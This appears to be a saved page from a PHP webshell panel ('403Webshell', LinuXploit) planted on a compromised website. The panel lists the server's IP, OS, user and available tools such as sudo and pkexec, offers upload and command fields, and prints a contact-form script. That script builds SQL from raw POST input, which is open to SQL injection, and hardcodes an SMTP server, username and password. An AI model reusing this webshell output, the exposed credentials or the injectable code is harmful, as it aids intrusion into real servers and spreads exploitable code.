403Webshell
Server IP : 103.48.194.25  /  Your IP : 216.73.216.74
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux VMHostDefault 3.10.0-1160.42.2.el7.x86_64 #1 SMP Tue Sep 7 14:49:57 UTC 2021 x86_64
User : sieuthimay ( 1016)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/nhadatkhangdien.net-bk/public_html/sources/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/nhadatkhangdien.net-bk/public_html/sources/hotro.php
<?php if(!defined('_source')) die("Error");
		$d->reset();
			$sql_contact = "select ten,diachi,dienthoai,email from #_company ";
			$d->query($sql_contact);
			$company_contact = $d->result_array();
			
			
				$d->reset();
				$sql_contact1 = "select email from #_company ";
				$d->query($sql_contact1);
				$company_contact1 = $d->result_array();
				
				
				if(!empty($_POST)){ 
				
				$ten = $_POST['ten'];
				$diachi = $_POST['diachi'];
				$dienthoai = $_POST['dienthoai'];
				$email = $_POST['email'];
				$tieude1 = $_POST['tieude1'];
				$noidung = $_POST['noidung'];
				$ngaytao= time();
				
				$sql = "INSERT INTO  table_contact (ten,diachi,dienthoai,email,tieude,noidung) 
					  VALUES ('$ten','$diachi','$dienthoai','$email','$tieude1','$noidung')";
					 
				mysql_query($sql) or die(mysql_error());

	}
				
						
		$title_bar = "Hộ trợ - ";
		if(!empty($_POST)){
		include_once "phpMailer/class.phpmailer.php";
		
		$mail = new PHPMailer();
		$mail->SMTPDebug  = 1; 
		$mail->IsSMTP(); // Gọi đến class xử lý SMTP
		$mail->Host       = "112.213.95.167"; // tên SMTP server
		$mail->SMTPAuth   = true;                  // Sử dụng đăng nhập vào account	
		$mail->Username   = "admin@inlogo.us"; // SMTP account username
		$mail->Password   = "123456";            // SMTP account password

		//Thiet lap thong tin nguoi gui va email nguoi gui
		$mail->SetFrom('admin@inlogo.us','Dang dep trai');

		//Thiết lập thông tin người nhận
		$mail->AddAddress('phidang.nina@gmail.com', 'Dang dep trai');

		/*=====================================
		 * THIET LAP NOI DUNG EMAIL
 		*=====================================*/

		//Thiết lập tiêu đề
		$mail->Subject    = "[Activation] - Lien he tu Inlogo.us";
		//Thiết lập định dạng font chữ
		$mail->CharSet = "utf-8";
		$mail->IsHTML(true);
		$body = '<table>';
			$body .= '
					
			<tr><th colspan="2">&nbsp;</th></tr>
			<tr>
			<th colspan="2">Thư liên hệ từ website <a href="http://inlogo.us">http://inlogo.us</a></th>
			</tr>
			<tr>
				<th colspan="2">&nbsp;</th>
			</tr>
			<tr>
					<th>Họ tên :</th><td>'.$_POST['ten'].'</td>
			</tr>		
			<tr>
					<th>Địa chỉ :</th><td>'.$_POST['diachi'].'</td>
			</tr>		
			<tr>	
					<th>Điện thoại :</th><td>'.$_POST['dienthoai'].'</td>
			</tr>		
			<tr>	
					<th>Email :</th><td>'.$_POST['email'].'</td>
			</tr>		
			<tr>	
					<th>Tiêu đề :</th><td>'.$_POST['tieude1'].'</td>
			</tr>		
			<tr>	
					<th>Nội dung :</th><td>'.$_POST['noidung'].'</td>
					
			</tr>';
			$body .= '</table>';
		 
		$mail->Body = $body;
		if($mail->Send()) 
		{
			transfer("Thông tin liên hệ được gửi.<br>Cảm ơn.", "/vi/contact.html");
		}else
			 transfer("Xin lỗi quý khách.<br>Hệ thống bị lỗi, xin quý khách thử lại.", "/vi/contact.html");
		
			
	}
			
	
?>

Youez - 2016 - github.com/yon3zu
LinuXploit